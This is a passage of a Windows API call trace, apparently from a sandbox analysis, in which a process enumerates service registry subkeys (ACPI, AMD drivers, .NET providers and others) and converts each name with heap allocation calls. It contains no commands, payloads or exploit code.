cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0238.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d60, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0238.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.962] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0238.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0238.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0238.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.963] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0238.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0238.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d60, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0238.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.963] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0238.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0238.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0238.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.963] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0238.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0238.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.963] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0238.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0238.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0238.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.964] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0238.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0238.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.964] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0238.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0238.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0238.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.964] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0238.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0238.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.965] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0238.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0238.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.965] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0238.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0238.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.965] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0238.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0238.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0238.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.965] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0238.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0238.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0238.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.966] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0238.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0238.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.966] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0238.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0238.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.966] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0238.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0238.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.966] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0238.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0238.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.967] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0238.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0238.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.967] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0238.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0238.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0238.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.967] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0238.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0238.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.968] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0238.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0238.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 